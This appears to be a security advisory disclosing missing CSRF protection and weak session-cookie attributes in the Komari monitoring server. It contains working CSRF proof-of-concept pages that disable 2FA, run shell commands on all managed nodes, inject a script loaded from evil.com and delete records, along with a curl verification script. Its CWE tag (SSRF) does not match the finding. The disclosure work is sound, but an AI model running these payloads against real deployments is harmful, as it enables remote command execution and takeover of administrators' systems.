The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
SameSite=Lax.SameSite attribute are not included in cross-site POST requests.| Scenario | Exploitable |
|---|---|
| Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
Man-in-the-middle over HTTP (Secure=false) |
✓ |
| Endpoint | Method | Impact |
|---|---|---|
/api/admin/task/exec |
POST | Execute arbitrary shell commands on managed nodes |
/api/admin/2fa/disable |
POST | Disable administrator two-factor authentication |
/api/admin/settings/ |
POST | Modify system configuration |
/api/admin/upload/backup |
POST | Upload a malicious backup |
/api/admin/record/clear/all |
POST | Delete all monitoring records |
/api/admin/client/:uuid/edit |
POST | Modify client configuration |
/api/admin/client/:uuid/remove |
POST | Remove managed clients |
/api/admin/session/remove/all |
POST | Invalidate all active sessions |
/api/admin/settings/cloudflared/start |
POST | Start a Cloudflared tunnel |
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:48:31Z",
"nvd_published_at": null,
"severity": "HIGH"
}